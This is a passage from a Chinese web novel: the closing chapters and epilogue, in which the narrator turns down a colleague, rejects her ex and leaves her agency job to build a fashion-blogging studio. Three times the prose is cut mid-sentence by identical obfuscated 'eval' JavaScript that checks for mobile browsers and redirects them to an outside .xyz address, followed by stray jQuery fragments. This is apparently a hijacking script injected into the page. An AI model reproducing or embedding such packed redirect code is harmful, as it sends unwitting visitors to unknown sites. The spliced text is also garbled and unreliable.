“当机会来的时候,什么都不要想,只要去抓住它。”他抬头看了我一眼,“少拍马屁,放手去做,一切有我在。”
我发誓,真的是陈述事实,不是拍马屁。
“你想什么想得那么入神?”萌萌拿手在我面前挥了好几下,“叫你去吃饭都听不见。”
“哦……我在想用一个创意敲诈孟猛一顿饭。”
纯属意外收获,尽管“假面”这个整体概念不适合KY,但对护肤品公司却是个好的切入口。模特带妆在外一天,用公司产品卸掉彩妆,露出细腻光洁的皮肤。强调“假面”与“真面”一样精彩,全靠护肤品让每个女人拥有妈生好皮。
我把这个点子贡献给了孟猛,他请全组人吃云南汽锅鸡。对彼此都很划算。
晚上躺在床上,明明应该想的是抓住机会,脑子里浮现出的却是上周末跟许逸晨逛街时看到的窗帘。有点贵,没舍得买。许逸晨说把它作为完成目标的奖励,那和乱花钱是不一样的。
要不,这个周末还是去买吧。
安冉然,你真的很棒,值得奖励。
57.第 57 章
我怎么都不会想到,孟猛喜欢的人是我。
“你不知道啊?”觅觅一脸尴尬,更尴尬的是我。以后怎么面对他?不知道的时候,怎么开玩笑都行,知道之后再面对他,手不知道往哪里放。
“那……我们装作不知道。”我跟觅觅达成了共识。
孟猛在的场合,我看似一如既往跟大家玩笑八卦,实际上有意无意都离他远远的。我自以为天衣无缝,没想到欲盖弥彰。
“你跟孟猛怎么了?”萌萌在茶水间悄悄问我,“感觉你怪怪的。”
“啊?有吗?我们没什么啊。”我把马克杯里的水倒掉,撕开茶包,转头又去接咖啡。
“我感觉,你有意无意躲着他。”
我笑得讪讪,“怎……怎么可能。
萌萌探头过来,“我的直觉一向很准……”
好不容易搪塞了过去,又有新的情况发生。
周六上午,我睡得迷迷糊糊,接到了孟猛电话,他约我去看新上映的Imax大片。我睡意未散忘了避忌,打趣他,“最近是买彩票发财了吗?这么大方请大家看电影。”
“不是……就我们俩。”
我醒了一大半,还有一小半更迷糊了,单独约看电影是什么情况?
“哈?这不太好吧。”
他憋了半天,“冉冉,你别再躲着我了。你知道我喜欢你……”
彻底醒了……
原来他早看出了端倪,只不过一直没有表现出来。我懊恼不已,全员演技在线,除了我。
“你等等,我刚刚在睡觉。现在还有点迷糊。过会儿我打给你。”不等他回答,火速挂了电话。
我该怎么办呢?打直球了,就没有闪躲的余地。
在床上挺尸了十分钟,我决定直面窘境,于是打电话约孟猛到附近小公园。
“孟猛,谢谢你喜欢我。如果是以前,我应该会很开心,甚至是沾沾自喜。看,我,安冉然,还是很有魅力的。”
孟猛左手搭在右手上面,紧张地抠着手指,很忧伤地说:“按照语法句式,冉冉,接下来,我要迎接的就是那个但是了吧。”
我突然觉得自己很残忍,“孟猛,你很好,是我自己,我从一段失败的感情里才刚刚走出来。其实不单单是对方的问题,我也有很多问题。我还处在恢复期,并没有谈恋爱的打算。”
他安安静静地听我说,没有打断,也没有反驳。半晌之后,他说:“如果我愿意等呢。”
我愣了片刻,“我不知道。”
如果不喜欢就不要给别人希望,这是我对感情的尊重。我对孟猛大概就是“你很好,但我实在没法喜欢你”这样的心境。
“懂了。”他神色黯然。
“不,你不懂。”怕孟猛想不通,我把自己的想法一股脑倒给他,“我曾经以为,只要找到真命天子,我就能过上幸福快乐的生活。后来你也知道了,我失恋了,从S市来到了T市。但你们让我知道,没有爱情和男人,我也能很好地生活下去。我可以有自己热爱的工作,有很好的伙伴和朋友们,有兴趣爱好和丰富多彩的生活。也许以后我会谈恋爱,也许不会。我对未来的设想里眼下没有爱情的一席之地。”
“I have a dream” 以及“I can have a dream”,虽然一字之差,但意义却相差很远。虽然秦女士依然喋喋不休地唠叨,等我老了可怎么办,生病了没人管,住养老院都没孩子去看望会被人欺负……我才三十岁,又不是五十岁了。人生伴侣这件事,如果真的没有,也不妨碍我过得开心获得幸福,但秦女士大约摸是不会认同的。可那又怎么样呢?秦女士也不能代替我过我的人生。
我看着面前高了我一个头的大男生,此时,他就像是输了篮球赛的小男孩一样垂着头。我狠狠捶了他肩膀一记,“还是好同事好朋友?”
孟猛挤出一个比哭还难看的笑,“当然是……”
“你知道吗?我原来猜过你喜欢的是萌萌或觅觅。”
“萌姐是很好,但我吧,其实有点怕萌姐。我刚来那阵,总是犯错,每次都能被萌姐抓个正着;至于觅觅……”孟猛想了一会儿,“她太酷了……我跟她顶多能走到哥们。”
我很想问他究竟喜欢我什么,但还是忍住了。这个问题太残忍了。
“你还想去看电影吗?”我问孟猛,“听说是部不错的片子。”
于是,我俩作为朋友去看了电影,然后买了啤酒去小公园。
我们喝着啤酒,还有些闷热,但夏日的晚风吹来,还是挺惬意的。
“其实……你喜欢的是老大那种类型吗?”孟猛突然问。
我一愣,这关周明凯什么事?随即否认,“怎么可能?”
“老大人帅能力强,脑子灵活还有生活意趣,会做饭游戏还玩得好,简直完美。”我算看出来了,要不是因为性别不对,周明凯才是孟猛的理想型。
“老大是高岭之花,可远观不可攀折。”
说开了之后,我俩反而不尴尬了,也不像前一阵别扭。
“说起来,公司不禁止办公室恋爱吗?”
“没有明文规定。”
“就算没放在明面上,总归不太好吧?”
“这有什么。雷威和李暮芸就在谈恋爱。”
“啊?他们俩?”我惊掉了下巴。雷威长得弱不禁风,李暮芸恰恰相反,175的大高个,比雷威还高一截。他俩站一起,说不准小鸟依人形容的是谁。
孟猛笑了,“萌姐的八卦还没普及到这块内容呢?”
外面的世界很大,以前,为了逃避自己的自卑和不安,我把自己禁锢在小小的一方天地里,直到来了T市,跟同事和朋友们待在一起的时光,让我明白,其实没有任何人任何事能羁绊住自己,只是我给自己设定了条条框框,把自己的人生放置在了别人身上。
我喜欢现在的自己,也享受独处的自由和快乐。是否要再次进入亲密关系,我还没有想好。爱情和婚姻,已经不再是我人生的必选项。
晚上,我躺在床上,突然想起孟猛问我是不是喜欢周明凯的神情。他不会误会了什么吧?!
尽管周明凯是很多女性的理想对象,我毫不怀疑有女性处心积虑想要拿下他。但他给我的感觉更像是长辈——就那种小时候你考试没考好,被爸妈训了一顿之后,给你买糖吃并安慰你说“没事,不就一次没考好,下次考好就行了”的叔叔,让人感觉心头一暖。这种暖像是冬天里刚刚晒完的被子,如果你把脸埋进去能感觉到幸福。
而在不久之前,他还是那种天天监督你好好读书,如果考不好就拿小鞭子督促你更努力的教导主任。再更久远的第一次见面,他是生人勿近的冰块工作狂。
我对他有尊敬,有崇拜,他在身边会感觉心安,可这不是男女之间的那种喜欢。面对他时,我没有悸动,不会小鹿乱撞,也不会想念他。
话说回来,最近周明凯似乎心情不太好,本周我已经被“留堂”两次了。
“任何一个案子,项目结项并不是终点。复盘才是项目的最后一步:项目执行过程中哪些是做得好的地方,下次可以继续;哪些是不足,下次可以改进。光做不总结,累死了都没进步。”
我强烈怀疑,最适合周明凯的职业是老师。
“想什么呢?”
我脱口而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700048|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出:“你考虑应聘老师吗?”
他看了我一眼,“我是青大的客席讲师。”
冒昧了。
……
“最近老大怎么回事?是哪个客户投诉我们了?”我愁眉苦脸问萌萌。
“跟客户没关系。露西跟总部投诉,说我们加班太多,违反公司的人文关怀和企业文化,对员工造成过大的压力,没法WLB。”萌萌看我一脸迷惘的样子,补充解释:“就是加班太多,不能工作生活平衡。”
不得不说,露西是懂得打蛇打七寸的。国外那帮人,最害怕员工不休假,可我们分公司没有人员编制,如果不加班,活儿压根干不完。唯一的解决方案就是少接案子。
“今年这形势,不多接活儿,那大伙儿不得喝西北风?”
“这你还不懂?我们分公司不独立运营,年末合并报表,所有业绩都并入中国区,老外压根不知道业绩是我们创造的;可加班就不同了,全都走系统,随便一拉就能看出来。”
“Lucy也太过分了吧。”
“也不是第一次了。”萌萌撇撇嘴,“Lucy仗着自己资历老,一贯会抢功劳。老外常年不来中国,但凡来中国都是她接待,压根不知道谁在干活,谁在打酱油。”
“这次半年度汇报,不应该已经很清楚了吗?80%以上都是我们的业绩。”
“不知道她用了什么法子,原本我听说老外想要彻底查前几年的数据,可她也不知道用了什么方法,打消了老外的念头。这事儿好像悄无声息过去了。”
“问题是我们业绩下来了,中国区整体业绩不也下来了吗?”
“今年大环境不好,经济下行,我们哪怕没有去年业绩好,只到去年的百分之八十也是能说得过去的。”
孟猛搔搔头,“这对她也没好处啊,真搞不懂。我还是做业务吧,太复杂了。”
我在心里默念,可如果这样,总部业务流失所造成的亏空从哪里去补足呢?谁要承担这些责任呢?当雪崩的时候,没有任何一朵雪花是无辜的。那么大厦将倾时,又有谁能独善其身呢。
可是,这也不是我擅长的事情,只是隐隐约约觉得担心。
“要是老大能升任GT中国区的头儿就好了。”萌萌憧憬着。
是啊,如果周明凯成为中华区的掌舵人,GT这艘船才能行驶得又快又稳,而我们,才能跟着鸡犬升天。
孟猛带着觅觅出外勤了,小妍下午请休年假,我跟萌萌两个人去吃了麻辣烫。
突然想起她要把原先住的房子转租出去,就问了一嘴:“你那房子,找到合适的租客了没?”
“别提了。现在满世界都是奇葩。上周来看房子的那个女孩儿,明明是一对小情侣,却说是自己住。大概打算等签了合同之后偷偷摸摸让她男朋友来住。要不是我送她下楼看见男孩子在楼下等,多问了两句,大概就被蒙了。我明明张贴的广告上说得很清楚,只限女性,他们是不识字还是怎么的。”
“那别的租客呢?”
“还有一个姑娘,我说了不能养宠物,她跟我吵了半天,说我没有爱心。”
我们齐齐叹了口气,现实世界就像个万花筒,总能见到各种跟我们完全不一样的人类。
“你不然稍微降低点要求?”
萌萌看我一眼,沉默了片刻,“你觉得我事儿多?”
“不是……只是,我们有些时候都得接受妥协。”
萌萌把头昂得高高的,“没关系,我不急着租出去……所以不妥协,我一定会找到满意的房客。”
每个人都有自己的坚持,换个角度看世界,处处充满着甲之蜜糖,乙之砒霜的幻世感。
58.第 58 章
夏天在匆匆忙忙中过去了,当然有遗憾,这个夏天既没有去海滩度假,也没有去水上世界,只有几次忙里偷闲的聚会。
我还没从夏季逝去的忧伤中缓过神来,秋天便悄然而至。可没想到,T市的秋天异常迷人,给了我更大的惊喜。果然生活如同一盒巧克力,你永远不知道下一个是什么味道。
道路两旁的法国梧桐叶子渐次变黄,落叶铺在马路上,踩上去咔嚓作响。天空很蓝,又高又远,二十几度的温度非常适合散步,风吹在脸上凉爽带着些许湿润……完全是治愈系童话一般的存在。
下班之后,我总是忍不住走一站地铁的路程,感受这难得的秋天。毕竟在S市,美好的秋日短暂得可以忽略不计,盛夏过后就是严冬。我都快忘记秋天是什么样子了。
穿着衬衫外面套件针织开衫,配牛仔喇叭裤或阔腿裤;连衣裙配针织开衫,再凉一点就搭风衣……这样的天气甚至勾起了我蓬勃的购物欲,脑海里已经想像出了好几套搭配。这是我熟悉的领域,可以驾轻就熟不动脑子就能搞定。随手拍了一张今天的景色和穿搭,发到社交媒体上。
工作渐渐走上了轨道,每天忙忙碌碌的反而充实,当然时不时会有一些棘手的情况,可随着业务能力的提升,跟客户关系的融洽,大部分时间可谓渐入佳境。
长时间没打理的社交媒体账号荒芜如野草一般,我开始重整旗鼓,写自己的一些穿搭心得放在上面,纯粹是为了在业余时间打发时间。渐渐的开始有人评论,因为没有摄影师,我通常对着镜子自拍,基本不露脸,这让我有一种隐秘的快乐。哦,对了,我的公号名就叫“不露脸小姐今天穿什么”,越来越多的人在底下发表评论,还有人问我要衣服链接。
我不在意数字的增长,可我对每一条评论都很在意,阅读评论原先是让我快乐和获得成就感的事情,直到这条评论的出现——嘿,我抓到你了。
是谁?什么意思?是有人认出我了吗?
接下来的那天,我停更了。一直猜测是谁发现了我的这个连脸都不露的账号,万一是哪个同事那就糟了。我忐忑不安,觉得每个人看我的眼神都别有意图,会不会有人跟老板告发我从事副业?可我这也不算干副业吧,顶多算是自己的兴趣爱好。
许逸晨发了微信给我,是那张“我抓到你了”的截图,“冉冉,我就说你可以的。真不考虑自己出来干?”
“你吓死我了。我还以为被公司同事发现了……”
“你想什么呢,除了你的头号粉丝我,还能有人发现不露脸小姐是你啊。”
无论我干什么,许逸晨都支持,而且她以前一直鼓励我坚持。可惜我一直三天打鱼两天晒网。
我们现在一两周总会抽空碰个头,她的副业渐渐上了轨道,加上还没有从公司辞职,忙得脚不着地。而我除了要配合WH集团三季度策划方案落地,还得忙活新一年的框架,加上KY集团的执行对接,也忙得跟车轱辘一样。只有周末稍微空闲一些,我俩一起带着涵涵去公园散步,是放松的过程也是给自己充电。许逸晨每次都带着平板电脑,有时候灵感来了,她赶紧逃出来撅着屁股在长椅上写写画画。她提议我不要光发每日穿搭,可以写一些内容,比如搭配思路,同一件衣服的不同搭配方法,还有一周通勤等主题。
可一旦开始写内容,就会占据大量时间。我犹豫不决,准备暂时还是先以每日穿搭为主。
……
KY集团的年会很成功,甚至火出了圈,主要是他们有员工把自家年会发到了某书上,成了爆款笔记。很多网友评论KY年会是年轻人心目中的梦中情会。黎卡卡作为此次年会的负责人,受到了公司很多人的喜爱和称赞。尽管她说“我才不在乎别人觉得我干得怎么样呢。”可她的嘴角一直都翘着。大小姐点评,“工作有时候还挺有意思的。”
正向反馈的工作能提供内啡肽满足。
GT给WH集团带来实际的营业额提升和品牌影响力之后,有别的部门有意向跟我们合作,连Vivian也找上门了。孟猛私下嘲笑,“无论多高傲的打工人,最终都得臣服于KPI。”
我怀疑萌萌的嘴开过光。她一语成谶!周明凯升职了,担任大中华区CEO,职级高于露西。
在公司任命下来之后,周明凯请全公司吃了顿大餐。我们一组在周末又去他家蹭了一顿。因为天气冷,吃羊肉火锅,这次喝的是大德园黑皮诺。大家兴致都很高,每个人都喝了很多。
直到孟猛问了一个扫兴的问题:“老大,你去了S市,我们可怎么办?”
原先酒酣耳热的我们,全都陷入了沉默。
说实话,我之前压根没想过可能面临换老板的情况;万一再来个像露西的领导……
“我暂时兼任分公司总经理,每周三天S市办公,两天T市办公。”
集体松一口气,孟猛欢欣鼓舞,意气奋发,“放心了。”
“别高兴得太早,我不会一直兼着这个职务。”不知道是不是我的错觉,总觉得老板深深看了孟猛一眼。
今天喝得太多,集体借宿老板家。孟猛占了大便宜,他单独住一间,女生两人住一间。我死活赖在沙发上,其他人回房休息了。
“安冉然,你想回S市吗?”
“不想。”
“你喜欢现在的工作吗?”
“不算……喜欢,也不讨厌。”我仰起头,周明凯像根柱子一样立在离沙发几步远的地方。
“安冉然,我希望你能好好思考下你的人生。不是作为任何人的附庸,也不是父母或别人希望你是什么样的。而是你自己,真正想成为什么样的人。”
“啊?”我喝得有点眩晕,“老板,这是什么意思啊?”
他静默了片刻,吐出两个字,“梦想。”
在我倒下去之前,我迷迷糊糊地问了他一句:“老板,你是不是想不赔钱让我走?”
周明凯无奈地叹了口气,“公司缺着人呢,别成天瞎想。”
“哦……”在得到肯定的答复之后,我十分安心地靠着沙发睡了过去。
第二天,别人都收拾得人模人样从房间出来,只有我四仰八叉地躺在沙发上,身上盖着毛毯。
啊!我想钻到地底下。
至于露西黄,我原本以为她顶多降职,没想到总部决定合同到期不续约,赔钱让她走人。对此,Lola忿忿不平,说按照露西在公司的薪资和年限,能拿一大笔赔偿。我在心里默默算了算,的确是很大一笔钱。
不由感慨,世界并没有所谓的公平。露西就算丢了工作,至少还能有一大笔赔偿。
又过了两天有了新消息,有人匿名向总部告发露西在外面开了一家广告公司,把GT业务导流到自己公司。老外有一天直接冲到了中国总部办公室,把证据甩在了露西面前,直接收了电脑,还要控告露西职务侵占。
同时,老外委派周明凯严查S市总部。
以前关系好关系不好的都来找我打探消息,生怕新官上任三把火,裁人祭旗竖威望。最担心的莫过于业务部的那帮人。
对他们,我只有四个字:“无可奉告。”
……
当肖平再一次出现在我面前的时候,我平静得连自己都觉得诧异。
“你找我有什么事儿吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700049|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“冉冉,对不起,我错了,你能原谅我吗?”
“原谅你天天喊着自己忙,实际上忙着出轨搞外遇;还是原谅你一次又一次把我当傻子?”
我虽然向他亮出獠牙喷射毒液,内心却在骂自己是个蠢货——他已经出轨了快一年,而我却一无所知,还在做着结婚的美梦——总有人把八卦递到当事人面前。
听说肖平和富家女分了手,有不少人哀叹他错失了咸鱼翻身的机会,而我早已波澜不惊,只是为自己不值。
“难道这是我一个人的错吗?那段时间我压力很大……”
我安静地看着他,“这些上次你已经说过了。”
好的前任就该像死了一样,而不是在我已经接受现状和逐步放下的道路上反复诈尸。这样,曾经的那些美好才能裱入画框永久留存。
“我们那么多年的感情。我知道你还是在乎我的。我已经跟她分手了,我们可以重新开始……”
“我不爱你了,肖平。”
他的眼眶红了,“我不相信。你还在生气,对不对?”他一把抓住我的手,开始往他身上抡,“冉冉,你打我吧,打完之后我们重新开始。”
我使劲挣脱开,望着他的眼睛,一字一顿:“肖平,我真的不爱你了。”
别说是他,其实我自己都觉得疑惑,曾经那样爱过的一个人,怎么会就真的不爱了呢?
这是一瞬间发生的吗?似乎是,又似乎不是。
也许,在长久的岁月里,在我们曾经相爱的一千八百多天里,一桩桩一件件的小事,一点点的情绪积累,让我们以为坚不可摧的爱情早已被洞穿,千疮百孔……我曾经以为,那些心痛是我还爱他,但后来想想,只不过是不甘心而已。
肖平从哀伤转为愤怒,“你不是不爱我了,是移情别恋爱上别人了?!是上次那个陪你参加婚礼的男人,对不对?”
“你胡说什么,他不过是我的上司。”
“你还在骗我,上次参加成宇的婚礼,你表姨说他是你的新男朋友……”
“是又怎么样,不是又怎么样。我们已经分手了,这跟你没有关系。”
“冉冉,这不公平。”
“肖平,有什么是公平的呢?你在跟另一个女人卿卿我我的时候,对我就公平吗?”我直直地盯着他的眼睛,没有逃避,像是对他说,其实更是对自己说:“你回过头来找我,不过是因为在她那里,你没有任何的优越感。”
他慌乱地别过头,没有看我,只是低声说:“不是这样的。不是你想得那样的。”
“其实,我怎么想并不重要……重要的是我们结束了,没有重新开始的可能。”
他紧紧盯着我的眼睛,似乎想从里面找到一丝一毫的犹豫和不忍。
终于,他放弃了,“你会原谅我吗?”
“不,我不原谅。”
望着他因为失望而垂下来的胳膊,颓然向外走去。曾经我爱的那个少年,已经消失不见了,我不可能当作什么都没有发生——你知不知道,我拼尽全力才能抵抗时不时袭来的情绪崩溃,装作若无其事地投入到让我茫然无措一筹莫展的工作当中。
如果这些都能用一句“对不起”一笔勾销的话,我的悲伤,那些日日夜夜,崩溃纠结,岂不是显得廉价且可笑?不是每个人都值得原谅,我也有不原谅的权利。
熬过了多少个睡不着的夜晚,我才能缓过来,像一个正常的没有受过任何伤害的人类一样生活。可是,我自己知道,那道看不见的伤口愈合得有多么艰难,甚至在很久之后还隐隐作痛。
他消失在视线之外,我们之间彻底结束了。而我,已经迈步向前。
59.尾声
一年时间说短不短,说长也不长。如果有人告诉我,只用一年可以重启人生,我绝对会以为他是个大骗子。可这一切活生生地发生在我自己身上,宛若天方夜谭。
工作算得上如鱼得水,我的社交媒体粉丝数也在持续上升,接到了一些品牌的邀约,有服饰有配饰。许逸晨建议我接,说也算试水。她在副业稳定超过正职收入之后提了辞职,目前她的副业发展势头不错,只是非常忙。
我发现其实跟现在的工作差不多,也是了解客户需求,做出客户需要的宣传推广案,只不过形式是软文/视频,受众是自己的粉丝。接了之后,基本所有的业余时间都搭了进去:要跟甲方沟通需求,了解产品,不违和地推介……跟前期自己想怎么做就怎么做的方式完全不同,需要花更多的时间来打磨,好在最后品牌方对效果满意。
能够稳定产出并且保质保量之后,报酬的确丰厚。起初只是赚点零花钱,后来我一条广告顶得上三个月工资。存款以肉眼可见的速度迅速膨胀。眼下,我相信了那句话,钱真的是会在某一个时刻突然变多的。
获得了品牌方认可之后,后台的合作邀请多了起来。我的时间不够用了,许逸晨看了我的后台数据,然后打开她自己的后台让我看,“然,你现在的商务约跟我的不相上下……而且你的粉丝黏性很高,后续优化选题打磨内容,粉丝量还会继续涨。你可以考虑辞职全职做这个号。”
尽管我知道许逸晨说得都对,可我还是犹豫不决,因为我从来没想过,自己有一天会放弃安稳的工作。我的骨子里依然有怯懦,自由职业在我眼中是朝不保夕的代名词。
直到一周后发生的两件事:一是我为了拒绝品牌报了一个高价对方接受了,二是后台有新增了三个商务单,有一个是美妆品牌,问我能否真人出镜,对方给了一个让我乍舌的价格;我开始认真思考许逸晨说的,辞职来做“自己的事业”,而不是企业里的螺丝钉。
眼下,WH集团已经完全稳定,KY也提出要根GT长期合作;可这些,都不是我选择的。
……
“你想好了?”周明凯没有批复我的辞职申请,“这是你真正想做的事情吗?”
“算是吧。我其实从很早之前就开始涉足自媒体领域,只不过原先没有坚持。可我发现,做这件事即使没有报酬,我也愿意去做。”
“我尊重你的决定。”他淡定地分析,“你非常适合走市场营销这条路,有很多新鲜的创意,目前两个大客户对你的评价也很好。沿着这条职业路径发展,你既可以往创意总监发展,也可以往商务方向走,会是杰出的团队负责人。但这些,都得基于是你本人的选择。”
说实话,我自己都没周明凯想得清楚。
“现在接了几单商务了?”果然什么都瞒不住周明凯。
得知我现在并没有稳定收入,周明凯跟我聊了兼职营销顾问的想法:一周去办公室两天,剩下的时间可以自由支配。这对当时的我来说,无疑是非常有诱惑力的。既有稳定的收入来源,又能投入更多的时间到副业上。
再后来,我和许逸晨一起成立了工作室,我负责内容模块,她负责选题、数据分析和接下来的宣推。我俩每天忙得要死要活,可我们的粉丝数量就像是乘了火箭一样,每天都以千为单位上涨。
我的事业以自己从未想过的方式展开,当然,我没有告诉秦女士,毕竟那在她看来纯属不务正业。
经过互相导流,和别的博主联合活动。我们的粉丝量很快突破了十万,我们去好好吃了一顿庆祝,并约定粉丝破百万我就全职。
从零到一很难,从一到十也不容易,可我没想到,从十到百居然这么快。真的达到百万粉丝时,兴奋是肯定的,可还夹杂着忐忑和不可置信。许逸晨拉着我又跳又笑,“然,我们做到了!我们真的做到了!”
秋天再次造访T市时,我正式提出了辞职。
“GT随时欢迎你回来。”
“我们也随时欢迎你回来。”
孟猛一脸哀怨地抱怨:“我才刚刚稳定,你就要走;本来顾问也才一周来两天……”
没错,在周明凯的魔鬼训练下,他成了分公司总经理。
直到我答应项目忙不过来就回来帮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711362|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忙,他才收回了“你就是个渣女”的眼神。
萌萌冲我眨眨眼,“把报价和档期给我,我们还有合作机会呢。”
我们以另外一种形式,仍然以团队的形式共同工作。我的老东家变成了我的金主爸爸之一,眼下我们有20%左右的业务量都来自GT。
萌萌经常以聊工作为由约我喝下午茶,其实我们正经谈工作的时间,大概也就是刚见面的十五分钟。萌萌表示,我们工作室是她合作最舒心的团队。得益于我和许逸晨的甲乙方经验,我们能够迅速产出客户想要的内容,且数据表现很好。
我一如既往在萌萌那听八卦吃瓜,只是没想到有一天会吃到自己身上。
“其实,我一直怀疑老大对你有意思。”
我差点打翻咖啡,“怎么可能!”
“也对,老大那种猎人型,如果喜欢应该会打直球。”
我默默点头,舒了一口气。
尽管我已经不再是GT 的员工,可我仍然属于这个组织,他们说我是编外人员。每次小组团建都会叫上我。感觉温暖,他们和许逸晨是我在T市的情感链接。
粉丝过百万后,我们的商务合作越来越多。许逸晨问我有没有想过下一步怎么办,是接品牌的推广,还是做直播,或者有什么别的打算。这些是自媒体最常见的几个变现方式,可我的内心更希望做自己的品牌。
对于未来,我俩保持着开放的心态,或许我们会推出自己的服装品牌/首饰品牌,或许我们会成为MCN机构,为更多的内容创作者提供支持……我们有很多的可能性。
还有个大事件,我攒够了首付款,买了自己心仪的房子。因为经济低迷,T市对于置业出台了一系列更友好的政策,许逸晨建议我再等等,没准房价还能再降一点。可我不想再等,我急切地想要拥有那套小房子。
转眼,又要到新的一年了。许逸晨问我想要什么礼物。我想,我已经给了自己最好的新年礼物——允许一切发生。
我三十一岁了,那又怎么样呢?努力生活,尽情绽放,我的人生刚刚开始。
(完)